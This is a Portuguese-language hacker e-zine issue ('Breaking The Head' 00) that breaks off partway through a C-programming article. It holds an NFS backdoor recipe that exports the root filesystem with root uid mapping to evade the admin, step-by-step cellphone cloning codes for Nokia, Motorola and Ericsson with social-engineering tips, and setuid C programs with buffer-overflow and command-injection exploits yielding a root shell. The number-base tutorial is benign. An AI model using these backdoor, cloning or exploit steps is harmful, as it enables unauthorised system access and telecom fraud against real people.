
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              __________      _______________       ____    ____
             /\_________\    /\______________\     /\___\  /\ __\
            /%/   __    /   /%/              /    /%/   / /%/   /
           /%/   /&&/   /   \/_____     ____/    /%/   /_/%/   /
          /%/   /&&&/  /_       /%/    /        /%/   /__\/   /
         /%/         ____\     /%/    /        /%/           /
        /%/    _____     /    /%/    /        /%/   ___     /
       /%/    /&&&&&/   /    /%/    /        /%/   / /%/   /
      /%/    /&&&&&&/  /    /%/    /        /%/   / /%/   /
      \/______________/     \/____/         \/___/  \/___/

  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                       -=[Breaking The Head]=-

                            (Numero 00)

               ascii art, r0oT "root@rootspage.org"



[-=-= "bth"      =-=-]
[-=-= Edicao 00  =-=-]
[-=-= Data 10-06 =-=-]
[-=-= hophet@yahoo.com.br =-=-]

Onde conseguir a "bth":

Site Oficial da Zine:
http://www.bthzine.cjb.net 
http://hophet.hobbiton.org



Escritores da Edicao:

Nome: Gustavo Chagas (founder)
Nick: Hophet a.k.a PolMeyen
email: hophet@yahoo.com.br

Nome: Eduardo Amendola
Nick: Blood_Sucker
email: blooding@punkmail.com

Nome: Bruno Andrade
Nick: KeeP
email: keepbr@hotmail.com




[-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-]

Conteudo:                                          Autores: 

[1]  -=-= Introducao =-=---------------------------[ Hophet       ]
[2]  -=-= Montando um Servidor NFS =-=-------------[ Hophet       ]
[3]  -=-= Clonagem de Celular  =-=-----------------[ Blood_Sucker ]
[4]  -=-= LKM =-=----------------------------------[ Hophet       ]
[5]  -=-= Conversao Numerica =-=-------------------[ Hophet       ]
[6]  -=-= Erros de programacao em C =-=------------[ KeeP         ] 
[7]  -=-= IDS - Parte 1 =-=------------------------[ Hophet       ]
[8]  -=-= Linux =-=--------------------------------[ Hophet       ]
[9]  -=-= quote site exec & o "wu.ftpd" =-=--------[ Hophet       ]
[10] -=-= Race Conditions =-=----------------------[ Hophet       ]
[11] -=-= Links =-=--------------------------------[ Hophet       ]
[12] -=-= Terminando =-=---------------------------[ Hophet       ]

[-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-]


[1] [-=-=-=-=-=-=-=-=] 
    [-= Introducao =-]
    [-=-=-=-=-=-=-=-=] 


OBS.: O publico alvo eh o pessoal "Fucador Etico" entao se vc 
altera Home pages ou pratica qualquer outro ato de Script 
Kiddies por favor nao leia, porque voce nao vai encontrar 
nada de util aqui e em  nenhum txt que venha escrever.

Escrito na Integra por Hophet
hophet@yahoo.com.br
obs.: Qdo houver contrivuicoes dos fucadores, elas serao 
citadas.

Aih pessoal blz ...se alguem quizer mandar o seu exemplo p/ o 
logo eu agradeco ... mas esse eh o nome da nossa zine "Breaking 
The Head" ou "Quebrando a Cabeca":) tipo ... o obj. principal
da zine eh abrir mais um espaco pra a troca de informacoes 
entre fucadores que lutam pela "liberdade de informacao" e 
etica, onde possa haver uma liberdade de expressao e infor
macao ... sem "limites"(entre aspas), para que o pessoal New
Bye fucador ..possa ter seu espaco e onde se apoiar ... com
suas duvidas e ideias:). Com o tempo ... estarei tb montando
um FAQ ... com as perguntas mais frequentes dos leitores
onde farei o maximo p/ responder a todas, com isso desde ja 
fiquem avontade p/ fazerem qlq pergunta ... relacionada ao
obj. da zine, que ao maximo serao respondidas.Ahh e tb fikem
avontade p/ enviarem seus txt's, assim ajudando a 
"Liberdade de Informacao", haverao algumas restricoes mais 
isso se faz necessario pela ordem de qlq trabalho. Todos 
nos sabemos que existem muitas zines por aih ... e algumas 
realmente boas, mas o nosso obj. tb eh de nao ser mais uma
e sim de ser exclusiva tratando de assuntos, realmente impo
rtantes pra comunidade fucadora etica. Eu agradeco desde ja
a todos que viram comtribuir com a "Breaking The Head(bth)"
e com a comunidade hacking verdadeira.





[2] [-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=]
    [-= Montando um Servidor NFS =-]
    [-= por Hophet               =-]
    [-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=]


Ae pessoal blz ??!!:) ... tipo toh aki pra explicar pra vcs 
um lance legal de Backdoor com o sistema de arquivos de rede 
Network File System (nfs) , eh mais ou menos como montar um 
server NFS mesmo ... mas isso as vezes (se o Admin nao souber
q ele tem um:) ) pode passar dispercebido pelo admin , ate pq 
se ele nao tiver conhecimento de um server nfs rodando ele 
nao usaria comandos pra esta tarefa ... assim esta bd eh ateh
util em varios casos , pela sua facilidade de uso e rapidez 
... se vc eh um admin eu aconselho sempre verificar os arquivos
citados aki .. ou ate mesmo executar alguns dos comandos discu-
tidos aki:) ... vc poderia usar os conceitos adotados aki ... 
claro que mas cautela e seguranca p/ montar o seu sevevidor 
NFS(nfsd) ... vamos a pratica :) 

Em "/etc/exports" adicione:

# /etc/exports = inicio

/ *(rw,map_static=/etc/nfs.conf)

# /etc/exports = fim 

Explicacao:

/ = raiz(aki eh colocado o dir. onde vc vai ter acesso, aki no
cado eh o raiz("/")).

* = todos os arquivos nakele dir.

(rw, = permissao de leitura(r) e escrita(w) ...   

map_static=/etc/nfs.conf = arquivo onde fica as permissoes de 
acesso aos arquivos dos users, ou seja, quem vai ter acesso 
root ou user normal no server nfs:), este nome pode mudar, 
as configuracoes deste arquivos sao explicados mais afrente.

Aih vai um exemplo de um arquivo /etc/exports:

#inicio

# sample /etc/exports file
/               master(rw) trusty(rw,no_root_squash)
/projects       proj*.local.domain(rw)
/usr            *.local.domain(ro) @trusted(rw)
/home/joe       pc001(rw,all_squash,anonuid=150,anongid=100)
/pub            (ro,insecure,all_squash)
/pub/private    (noaccess)

#fim


Em "/etc/nfs.conf"(se nao existir crie) adicione:

# /etc/nfs.conf = inicio

uid <seu_uid> 0
gid <seu_gid> 0

# /etc/nfs.conf = fim

Explicacao:

uid <seu_uid> = user id remoto  ... ex.: 500.

0 = user id local ... ex.: 0, 1, ...

gid <seu_gid> = group id remoto ... ex.: 100.

0 = group id local ... ex.: 0,10, ...

Aih vai um exemplo de um arquivo /etc/nfs.conf,
(lembre-se o nome e local pode mudar):

#inicio

# Mapping for client foobar:
#    remote     local
uid  0-99       -       # squash these
uid  100-500    1000    # map 100-500 to 1000-1500
gid  0-49       -       # squash these
gid  50-100     700     # map 50-100 to 700-750

#fim


Depois disso vc ja pode usufruih de seu "server(bd)" nfs:)
com os seguintes comandos(no server):

# killall -1 rpc.mountd --> p/ reiniciar o mountd, q eh o 
daemon do mount NFS.  
# killall -1 rpc.nfsd   --> p/ reiniciar o nfsd, que eh o
servidor do NFS.

Agora com os parametros configurados e em execucao ... eh 
soh montar o que estiver compartilhado no nosso alvo(agora
todos os comandos sao executados em nossa makina):

# showmount -e <host_serv_nfs> --> com isso vc vai exportar
uma lista do server com o q nos podemos montar na nossa 
makina.

ex.: 

# showmount -e 127.0.0.1 

Export list for 127.0.01 
/ *

Aih, agora sabendo o q esta a nossa disposicao eh soh montar 
em nossa makina p/ termos acesso a todo o raiz(/) do nosso 
server como se fosse em nossa mekina mesmo:):

# mount -t nfs <host_serv_nfs>:/ /nfs --> com isso vc montou
o raiz("/") do server em "/nfs" da sua makina.
obs.: O seu Kernel tem q ter suporte ao FS(sistema de arquivos) 
"NFS". 

Explicacao:

-t nfs = tipo de FS.
<host_serv_nfs> = host:)
:/ = dir. do server a ser montado na sua makina. 
/nfs = onde vai fikar na sua makina o raiz do serv nfs.

Mas isso eh muito facil:), qlq  duvida : # man mount.

ex.: 

# mount -t nfs 127.0.0.1:/ /nfs

Pronto todo o raiz do server esta em seu "/nfs",
com isso vc pode mudar qlq coisa no raiz(/) do 
server NFS com poder de "root(0)", vai lah ... e 
faca bom proveito:).

Para desmountar(desconectar) do server NFS .. basta um
(na sua makina):

# umount /nfs 

Pronto ... vc pode fikar tranquilho que os logs forao salvos 
somente na sua makina :) ... claro que o "nfsd" tem uma opcao 
de salvar log, mas a maioria dos admins nao a usa, fike ligado:)


Terminando:  

Principais fontes de informacao deste txt, manuais($man) dos   
seguintes comandos: (8) nfsd, (8) mountd, exports.

Espero q seja util pra alguem este txt, e que venha ajudar o
pessoal NewBie Fucador, pois eh esse o publico alvo.  
Ae ... vo fikando por aki ... agradeco ao pessoal pela forca 
(valeu Fallon):) ... agradeco a Unsek, vcs tem meu apoio,  
um abraco p/ Blood_Sucker, Sort, Slash_DOMI, [KeeP] enfin, 
a todos. 

[]'s
Hophet

[-= fim =-]




[3] [-=-=-=-=-=-=-=-=-=-=-=-=-=-]
    [-= Clonagem de Celular   =-]
    [-= por Blood_Sucker      =-]
    [-= blooding@punkmail.com =-]
    [-=-=-=-=-=-=-=-=-=-=-=-=-=-]



Pequeno manual sobre clonagems de celulares baseado no phreaking 
guide. Feito por Blood_Sucker,  blooding@punkmail.com

SUMARIO
=======
1. O que eh necessario para a clonagem de um celular?
2. Reprogramando o NOKIA
3. Reprogramando o Motorola
4. Reprogramando o Ericsson
5. Finalizando
===================================================================
Hey, Ho! Let's GO! =]

1. O que eh necessario para a clonagem de um celular?
-----------------------------------------------------
1. O sys ID
2. O codigo de area
3. O numero de telefone (DUH!)

1. O sistema ID eh uma especie de numero de identificacao de uma 
determinada area. Ele contem 5 digitos. Para vc conseguir descobrir
o sys ID nao eh taun dificil, basta um pouco de engenharia social. 
Ligue para o fornecedor do seu celular e diga q precisa do sys ID pq 
ta reprogramando o celular para vender, ou sei la, ligue para a 
telefonica. 

2. O codigo de area eh o bom e velho 011(no caso de SP neh), mas agora
mudou, quando eu fiz issu pela ultima vez, ainda era 011, agora eh soh 
11. Tente os dois, pois eu achu q o 011 funciona ainda... Depende do 
celular q vc esta usando pra clonar, se for akeles tijolao analogico, 
eh 011 mesmo.

3. O numero do celular que vc quer clonar, se vc quer clonar o celular
do teu chefe, coloque o numero dele aki. Mas soh funciona com celulares 
viu. Pra residencia eh ooooooutro eskema... Bom, primeiro vc deve 
conseguir estas informacoes, depois de fazer issu, siga os seguintes
passos...
Eu soh sei fazer este eskema de reprogramacao de celular nas seguintes
marcas: Motorola, Nokia e Ericsson. Saun os mais populares neh, ja da pra
brincar bastante... Estes sansung, nextel entre outros eu nunca tentei, 
se algum dos eskemas abaixo funcionarem nestes celulares, pora favor, 
me mandem um e-mail.

2. Reprogramando o NOKIA
------------------------

Here we go, o eskema abaixo funciona em nokias das seguintes marcas:
21XX/51XX/61XX/636/639/918. Vamos la:

1. Ligue ele (DUH!)
2. Aperte *#639#
3. Aperte 10 digitos do celular e aperte OK(esses digitos sao: CODIGO 
DE AREA + NUMERO DO TEL)
4. Coloque o sys ID e aperte OK.
5. O tel vai desligar e ligar denovo automaticamente.

Se vc programar ele errado, vai aparecer: "Ativacao Falhou" ou "Active 
Failed" Agora vamos fazer um eskema para os seguintes NOKIAS. 
P1000/100/PT128/PT228/PT232

1. Ligue ele
2. Aperte *3001#12345 (em alguns use *3001#12345#)
3. O display vai ler 00
4. Segure a tecla CLR por alguns segundos
5. Ai vc entra com os 10 digitos (CODIGO DE AREA + NUMERO DO TEL) e 
   aperte store.02.store.CLR por alguns segundos
6. Aperte *1*10333*05*05 e aperte store
7. Aperte 03 e aperte store
8. Aperte CLR again
9. Desligue como modo de sair e salvar a programacao.

Agora o eskema abaixo eh do NOKIA 232/239/515. Esses q todo mundo tem..

1. Ligue ele
2. Entre com *3001#12345 (as vezes eh *3001#12345#)
3. Aperte STO 00
4. Segure o CLR (vc vai ouvir 2 bips altos)
5. Entre com o codigo de area + o numero do telefone, 
   aperte STO 02 STO
6. Segure o CLR (vai ouvir os 2 bips again)
7. Aperte *1*1*333*15*05#0111*1 e STO, e 03 e STO denovo
8. Segure o CLR e vc vai ouvir os bips denovo
9. Ai eh soh desligar e ligar ele veio..
3. Reprogramando o Motorola 
---------------------------

O motorola eh o mais chatinhu mais eh facil, mas eh o mesmo eskema 
para todo os modelos.No motorola eu detalhei um pouco mais pq foi o
unico q eu realmente testei dos celulares daki do texto. Os outros
foram dicas de colegas e textos sobre phreaking em geral.Entaun vamu
nessa..

1. Ligue ele 
2. Aperte FCN e aperte 0000000000000(13 zeros) e Aperte RCL e 
3. vai aparecer 0 1 no display, aperte *
4. Vai aparecer 0 0 0 0 0 no display, troque pelo sys id e aperte *
5. Vai aparecer 0 2 no display, aperte *
6. Vai aparecer 0 0 0 no display, troque pelo codigo de area e aperte *
7. Vai aparecer 0 3 no display, aperte *
8. Vai aparecer 1 1 1 0 1 1 1, troque pelo numero do tel q quer clonar e
   aperte *
9. Vai aparecer 0 4 no display, aperte *
10. Vai aparecer 14 no display, NAO MUDE ISSO, eh a station class mark.
    Soh aperte *
11. Vai aparecer 0 5 no display, aperte *
12. Vai aparecer 0 0 no display, eh o acess overload class, vc deve 
    colocar 0 + o ultimo numero do telefone q vc esta clonando. 
    E aperte *
13. Vai aparecer 0 6 no display, aperte *
14. Vai aparecer 0 0 no display, eh o group ID, ai vc deixa 0 0 mesmo,
    ou entaun coloca 05. ahh, e aperte * =]
15. Vai aparecer 0 7 no display, aperte *
16. Vai aparecer 0 0 0 0 0 0, NAO MUDE ESTE. Sao os 6 digitos de seguranca.
    Aperte *
17. Vai aparecer 0 8 no display, aperte *
18. Vai aparecer 1 2 3, eh o codigo randomico de destravamento, nao mude 
    este tb. e aperte *
19. Vai aparecer 0 9, aperta *
20. Vai aparecer 0 3 3 3 ou 0 3 3 4(em algums modelos), eh o pagin channel.
    Poe 0333 mesmo e aperte *.
21. Vai aparecer 1 0, aperta *
22. Vai aparecer 0 1 1 1 0 0, NAO MUDE ESTE. E aperta o *.
23. Vai aparecer 1 1 e aperte *
24. Vai aparecer 1 1 1 0 0, ou 1 0 0 ou 1 1 0. NAO MUDE ESTE TAMBEM. 
    E aperte *.
25. Em alguns acaba aki, em outros ele vc deve fazer o seguinte.
26. Aperte RCL e # para confirmar q vc saiba se programou o numero 
    do telefone certu, se sim, ele vai aparecer na tela.
27. Se aparecer, de um berro de alegria uhuahauha =]

4. Reprogramando o Ericsson
----------------------------

Para os modelos 318/368/388/618/688:

1. Ligue ele
2. Aperte 923885 e aperte MENUE
3. Selecione NAM e aperte 1
4. vai aparecer ESN, aperta o RCL
5. coloca o numero do celular e aperte RCL
6. vai mostrar # e aperte RCL
7. coloca o sys ID + 1 e aperte RCL
8. ALPHA TAG 1 vai aparecer, aperta o RCL
9. coloca o codigo de fechadura, eh 0000, e aperta o RCL
10. Ele vai perguntar se vc quer ir para o level 2, aperte NAO
11. Aperte EXIT(para salvar) e aperte SIM
12. Aperte MENUE
13. Aperte 3
14. Aperte 2
 
OBS: Para resetar o ericsson, para poder deixar ele zeradinho(mas nao
programado ainda), vc deve liga-lo, digitar 904060 e apertar MENU. E 
para entrar em modo teste, faca o mesmo mas com o codigo 904059.

5. Finalizando
--------------
Ae gente, eu fiz este manualzinhu as pressas para um grande amigo meu, 
eu na verdade iria fazer ele depois de terminar o meu texto de telecomu
nicacoes.Mas nao eh necessario um grande conhecimento sobre telefonia 
para fazer issu. Entaun nao achei problemas em enviar este artigo para
cah antes de terminar o de telecomunications..
Soh lembrando q clonagem de celular eh crime, mas eh uma coisa muito 
dificil d se pegarem, mas mesmo assim todo cuidado eh pouco =]
Falow ae, espero ter ajudado.
T+, Blood_Sucker! "Odiado por muitos, compreendido por poucos..."

OBS.: Na proxima edicao da zine 'bth' serah publicado alguns 
esclarecimentos sobre esta secao, algumas implementacoes e explica
coes, ate pq esta secao eh apenas uma iniciacao por parte do autor
... aguardem!!!:) .

[-= fim =-]




[4] [-=-=-=-=-] 
    [-= LKM =-]
    [-=-=-=-=-]

 

Aih ... Segue em anexo a esta zine o txt da THC(The Hackers Choice)
sobre LKM, que foi traduzido p/ o portugues por min e Blood_Sucker 
... pra quem quer se aprofundar no assunto vale apena ler. 
obs.: Em breve sairao atualizacoes dos fontes do txt p/ o kernel
2.2.x e 2.4.x ... aguardem;), vc podera adiquirilos aki na zine 
mesmo.
Arquivo da traducao: trad_LKM_thc.txt
use o extract q veio em anexo a zine para
extrair os codes do txt. Use:

$ gcc extract.c -o extract
$ ./extract trad_LKM_thc.txt


[-= fim =- ]



[5] [-=-=-=-=-=-=-=-=-=-=-=-=]
    [-= Conversao Numerica =-]
    [-= por: Hophet        =-]
    [-=-=-=-=-=-=-=-=-=-=-=-=]



Aih ... isso aki requer um conhecimento minimo em Matematica:)
Antes de falar da conversao em si vou falar um poco do que eh 
o 'sistema de numeracao'.

Sistema de Numeracao - eh o conjunto de regras para a represe-
ntacao dos numeros.

Tipos de sistemas de numeracao:

* Sistema Binario-> importante sistema de numeracao, utilizado 
  na tecnologia dos computadores, no qual a base eh "dois",tendo
  somente 2 algarismos 0 e 1

* Sistema Decimal-> sua base numerica eh de 10 algarismos: 
  de 0 a 9

* Sistema octal-> sua base numerica eh de oito algarismos:
  de 0 a 7	

* Sistema hexadecimal-> este sistema trabalha com 10 algarismos 
  numericos baseados no decimal e com a utilizacao de mais 6 
  letras sendo: de A a F


Sistema Binario ou de base 2 - Toda e qlq operacao executada num 
computador eh feita atraves de transmissao de sinais eletricos.
O sistema binario eh baseado nos 2 algarismos, q correspondem au
estado do circuito eletronico:
0 - (desligado)
1 - (ligado)

* bit-> todo mundo sabe:) ... eh a menor unidade de informacao 
  armazanavel

* byte-> conjunto de 8 bits, usado p/ representar um caracter
  (letras,numeros,simbolos)

Unidades de Medidas

1 byte - 8 bits
1 kbyte - 1024 bytes
1 mbyte - 1024 kbytes
1 gbyte - 1024 mbytes
1 tbyte - 1024 gbytes

Eh isso aih ... agora vamos ao objetivo real,"conversao de sistemas
numericos".


- Conversao Numerica -

* Decimal para Binario-> Sao feitas divisoes necessarias por 2,
os respectivos restos formarao o numero 'binario', sendo que o
resultado deve ser lido da direita para a esquerda.

ex.: Decimal 16 ... p/ binario

16|_ 2 
0    8|_2
     0  4|_2
        0  2|_2 
           0  1|_2
              1  0

intao 16 em binario sera: 10000, peguando os restos da direita para
a esquerda eu tenho '10000'.

outro exemplo :

decimal 178->

178 / 2 = 89 : resto 0
89  / 2 = 44 : resto 1
44  / 2 = 22 : resto 0
22  / 2 = 11 : resto 0
11  / 2 = 5  : resto 1
5   / 2 = 2  : resto 1
2   / 2 = 1  : resto 0
1   / 2 = 0  : resto 1

aki peguando os 'restos' de baixo para cima(que seria a mesma coisa
que na conta a mao peguar da direita para na esqueda) teremos 178 em 
binario: 10110010, certo?? blz certo ... se nao entendeu leia ate 
entender:)


* Binario para Decimal-> deve-se indentificar o valor da posicao do
numero 'binario' e depois multiplicar(x) este numero pela base 2, 
sendo esta, elevada ah potencia do valor da posicao.

ex.:

numero 'binario': 10110010 (ja sabemos o valor(178, olhe mais acima:) 
vamos a conversao.

1 0 1 1 0 0 1 0
7 6 5 4 3 2 1 0  --> isso aki sao as posicoes de cada binario.

vamos a conta(da direita para esquerda):

0x2:elevedo a a potencia do valor da posicao, vo representar aki
como sendo a potencia ",2"  onde 2 eh a potencia.Fica assim:

0x2,0 = 0
1x2,1 = 2
0x2,2 = 0
0x2,3 = 0
1x2,4 = 16
1x2,5 = 32
0x2,6 = 0
1x2,7 = 128

Pronto foi passado cada binario para decimal, mas eu quero o valor do 
binario todo ... o que eu faco ?? some todos os resultados, veja:

0+2+0+0+16+32+0+128 = 2+16+32+128 = 178 

viram ... chegamos ao decimal do todo o binario.Intao o binario 
10110010 em decimal eh 178.

outro exemplo:

o binario: 10000 

1 0 0 0 0
4 3 2 1 0

0x2,0 = 0
0x2,1 = 0
0x2,2 = 0
0x2,3 = 0
1x2,4 = 16

o decimal: 0+0+0+0+16 = 16 ... intao o binario 10000 em decimal eh 16
certo ... se nao entendeu leia novamente.
De binario para decimal eh isso aih:) ... veja o sequinte.


* Decimal para Octal-> No caso do Decimal para o Octal segue-se a
mesma sequencia do Decimal p/ o Binario mas agora dividindo-se por 8.
Sao feitas divisoes necessarias por 8,os respectivos restos formarao 
o numero 'octal', sendo que o resultado deve ser lido da direita para 
a esquerda.

ex.: o decimal 589
(OBS.: direita p/ esquerda = de baixo p/ cima)

589 / 8 = 73 : resto 5
73  / 8 = 9  : resto 1
9   / 8 = 1  : resto 1
1   / 8 = 0  : resto 1

entao o 'octal' de 589 serah '1115' , eh isso aih, aih esta como 
transformar um numero de decimal p/ octal.


* Octal para Decimal-> Outra vez, faz-se o mesmo procedimento de 
'binario p/ decimal'.Deve-se indentificar o valor da posicao do
numero 'octal' e depois multiplicar(x) este numero pela base 8, 
sendo esta, elevada ah potencia do valor da posicao.Soma-se os 
resultados qdo o octal tiver + de 1 algarismo.

ex.: Octal 1115

1 1 1 5 --> octal
3 2 1 0 --> aqui sao as posicoes como em 'binario p/ decimal',
seguindo esta sequencia de sempre comecar da direita p/ esquerda
com o 0. Vamos a transformacao em si:
(OBS.: Segue-se o mesmo esqueme p/ potencia como sendo representada
por ",<potencia>" ex.: ",2".

5x8,0 = 5
1x8,1 = 8
1x8,2 = 64
1x8,3 = 512

Somando: 5+8+64+512 = 589

Na realidade eh bastante simples mas se nao entendeu leia novamente, 
sobre esta secao eh isso aih.Vamos a proxima.


* Decimal para Hexadecimal-> Sao feitas divisoes necessarias por 16,
os respectivos restos formarao o numero 'hexadecimal', sendo que o 
resultado deve ser lido da direita para a esquerda.

Antes atente p/ a atabela de hexadecimais:
 
0123456789ABCDEF --> hexadecimais

0-1-2-3-4-5-6-7-8-9- A- B- C- D- E- F
0 1 2 3 4 5 6 7 8 9  10 11 12 13 14 15

Isso vai ser util p/ nossa transformacao

ex.: Decimal 6918
(OBS.: Nas divisoes eu ja dou a resposta final com o respectivo
resto, cabe a voce fazer a divisao dos seus numeros, ou voce nao
sabe dividir??:)

6918 / 16 = 432 : resto 6
432  / 16 = 27  : resto 0
27   / 16 = 1   : resto 11
1    / 16 = 0   : resto 1

o hexadecimal entao serah, olhando de baixo p/ cima, '11106' soh
que nao eh soh isso, tem algo errado, vamos ver na tabela:

1  = 1
11 = B
0  = 0
6  = 6

Ahh agora sim .. vimos que 11 na tabela de hexas eh 'B' entao eh soh
substituir, ficando '1B06',entao temos o Decimal que 6918 que transfor
mando p/ o hexadecimal fica 1B06.Certo ?? acho que deu pra entender:)


* Hexadecimal para Decimal-> Deve-se indentificar o valor da posicao do
numero 'hexadecimal' e depois multiplicar(x) este numero pela base 16, 
sendo esta, elevada ah potencia do valor da posicao.Soma-se os resultados
qdo o hexadecimal tiver mais de 1 algarismo.

ex.: o hexadecimal '1B06'
(OBS.: Adota-se os mesmos esquemas que os dos anteriores.)

1B06

1 B 0 6 -> hx(hexa) 
3 2 1 0 -> posicoes e potencias

transformando:

6x16,0 = 6
0x16,1 = 0
Bx16,2 = 2816 ==> 11x16,2 = 2816
1x16,3 = 4096

Somando temos:

6+0+2816+4096 = 6918

Pronto chegamos ao valor decimal que eh 6918 do hexa '1B06'.
Certo ?? creio que sim pq deu trabalho fazer isso aqui:), mas
qualquer duvida sobre qualquer um dos temas discutidos aqui
fiquem avontade em mandarem pra min pois prometo responder.

Espero que esta materia seja util pra alguem como foi util
pra min.Qualquer duvida sobre o assunto mostrado aqui, pode
ser mandado para o email da zine, tentaremos responder todas.


[-= fim =-]


[6] [-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-]
    [-= Erros de Programacao em C =-]
    [-= por: [KeeP]               =-]
    [-= (keepbr@hotmail.com)      =-]
    [-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-]



Programacao em C ( Algumas dicas ) 
==================================


     Ae povo !!! Tipow nesse texto simples vo da algumas dicas sobre
programacao em C, mas lembrando, NAO VOU ENSINAR A PROGRAMAR EM C, essa
dicas saum para quem ja sabe programar em C no Linux, vamos logo ao
assunto hehehe, enrrolacao sUx !!! ;-) . ATENCAO: SCRIPT-KIDDIES E
"ELITE" NAO LEIAM ESSE TEXTO !!!!!!!

     Buffer Overflow 
     ===============

          Essa tecnica ja eh mais do q conhecida hehehe, vou apenas dizer
algumas coisas e tal, tipow todos sabem q um buffer overflow ou melhor
dizendo um estouro do buffer nada mais eh do q quando vc aloca espaco pra
um determinada variavel e esse espaco eh ultrapassado ou seja ocorre um
estouro nesse espaco dai o estouro do buffer veja um exemplo de um
programa bugado por buffer overflow :

          /* INICIO */

          #include <stdio.h>
          #include <stdlib.h>

          main(int argc, char *argv[]) {

             char sa[30];

             if(argc>1) {

                strcpy(sa,argv[1]);
                printf("%s\n",sa);
                exit(0); } }

          /* FIM */

O exemplo acima deve ser compilado com gcc -o vul1 vul1.c e apos
isso para fazer o estouro do buffer deve-se digitar no terminal :

         bash# ./vul1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
         AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
         Segmentation fault
         
         Com o comando acima o programa vai receber + de 30 strings 'A'
sendo assim a string nao vai ter espaco suficiente e vai ocorrer o buffer
overflow, retornando assim a mensagem 'Segmentation fault' . Para tirar
proveito disso o programa deve estar setado com o setuid para q quando
estourarmos o buffer nos possamos executar comandos como root . Naum vou
entrar em detalhes sobre a criacao de xploits, pois eu naum manjo muito 
dessa parte, como disse aqui saum dicas hehehe, e quando naum sei uma 
coisa digo mesmo, e naum apenas coloco 'isso fica para um proximo texto
;-)', this is lammah thing !!!!!! Bom voltando ao assunto , para tirarmos
proveito do programa acima basta nos executarmos um xploit q estoure esse
buffer e execute um shell por exemplo, por isso sempre q achar um programa
setado como suid tente um buffer overflow e c conseguir, arranje um xploit
e welcome to the root shell ;-) !!!!! Logico q vc naum vai encontrar um
programa nos moldes do exemplo descrito acima, mas isso eh soh para vc ter
uma base do q saum Buffer Overflows .

         Uma maneira para c fazer com q naum seja possivel fazer um buffer
overflow num programa eh fazendo uma simples verificacao do tamanho da
string recebida, veja o exemplo abaixo : 

         /* INICIO */

         #include <stdio.h>
         #include <stdlib.h>
         #include <string.h>

         main(int argc, char *argv[]) {

             char sa[30];

            if(argc>1) {

              if(strlen(argv[1])>sizeof(sa)) { exit(0); }
              strcpy(sa,argv[1]);
              printf("%s\n",sa); } }

         /* FIM */

         Veja q o programa acima antes de copiar o conteudo de argv[1]
para sa, ele verifica se o tamanho do conteudo de argv[1] naum ultrapassa
o espaco alocado para sa, c ultrapassar o programa executa a funcao
exit(0), pois naum ocorreu nenhum erro, apenas uma possivel tentativa de
buffer overflow .

         

    Argumentos da linha de comandos
    ===============================

         Esse eh um exemplo ja sitado em algum dos textos da unsekurity
scene, mas q aprendi legal hehehe, e acho q vou dar uma reforcada no
assunto, para quem naum leu o txt da unsek feito pelo nash de uma olhada
em http://unsekurity.virtualave.net .

         Bom esse esquema para ser executado com sucesso o programa bugado
precisa estar setado como setuid, veja um exemplo de um prog com esse tipo
de problema : 

         /* INICIO */

         #include <stdio.h>
         #include <stdlib.h>
         #include <string.h>
         #define PROGNAME "ping"

         main(int argc, char *argv[]) {

            char cmd[20];
            int uid;

            if(argc>1) {

               uid = getuid(); /* Pega a UID atual; */

               sprintf(cmd,"%s %s",PROGNAME,argv[1]);
               setuid(0);
               system(cmd);
               setuid(uid);
               exit(0); } }

         /* FIM */ 

Compile o programa acima com gcc -o vul2 vul2.c e depois de chmod
+s vul2 para abilitar o setuid no programa depois disso como usuario
normal execute o programa como abaixo : 

         bash# ./vul2 localhost

         O programa simplesmente ira executar um ping local certo ? Bom
agora vamos tirar proveito da situacao perceba q a funcao sprintf() pega o
argumento passado ao programa e joga numa variavel para depois executar
certo ?, e quando o programa executa o comando q esta nessa variavel o
programa esta com o ID=0, ou seja o programa esta sendo executado como
root ai q ta  isquema nos passamos para o programa como argumento algo do
tipo localhost;/bin/bash ou seja a variavel tera o conteudo
localhost;/bin/bash e o programa executara como root o ping normal e
depois dando um ctrl+c o programa nos executara um shell root :-))), nos
temos dois esquemas para fazer essa xploitacao, o primeiro eh criando um
shell script para fazer isso , ou executando o comando na shell mesmo sem
muita complicacao, veja primeiramente o jeito com o shell script : 

         #!/bin/sh
         ARG = "./vul2 localhost;/bin/bash"
         $ARG

         Bem simples o script acima salva na variavel ARG o conteudo q
queremos q o programa passe pra variavel a ser executada como root e
pronto ID=0 ehehhe . o outro esquema eh a mesma coisa soh q diretamente na
linha de comando , veja abaixo : 

         bash# ./vul2 "localhost;/bin/bash"

         Pronto, os dois esquema executaram o ping normalmente e depois
basta o ctrl+c q cairemos na shell root !!!!

         Para q esse tipo de erro naum ocorra evite usuar a funcao
system() para executar algum comando com parametros recebidos de alguma
variavel, para isso use a funcao execl(), veja o mesmo exemplo acima soh q
com a funcao execl(), o isquema de tenta xploita naum funfa :

         /* INICIO */

         #include <stdio.h>
         #include <stdlib.h>
         #include <string.h>
         #define PATHNAME "/bin/ping"
         #define PROGNAME "ping"

         main(int argc, char *argv[]) {

             char cmd[10];
             int uid;

             if(argc>1) {

               uid = getuid();
               setuid(0);
               execl(PATHNAME,PROGNAME,argv[1],(char *)0);
               setuid(uid);
               exit(0); } }

        /* FIM */

Ta ai mais um bug, ou melhor um erro de programacao arrumado
hehehe .

    A funcao system()
    =================

         Esta funcao eh muito perigosa c usada de forma incorreta, e na
maioria das vezes deve-se tentar usar outras funcoes para subistitui-la
como por exemplo a execv(), bom mas qual o problema com ela ? O PATH, isso
mesmo muitas pessoas acham q no system() batsa colocar o nome do programa
e pronto, dexa q o PATH c vire pra acha, mas ai q ta o problema o PATH
pode ser modificado e assim fode tudo c o programa estiver com setuid e
tal, veja um exemplo de um codigo bugado abaixo : 

         /* INICIO */

         #include <stdio.h>
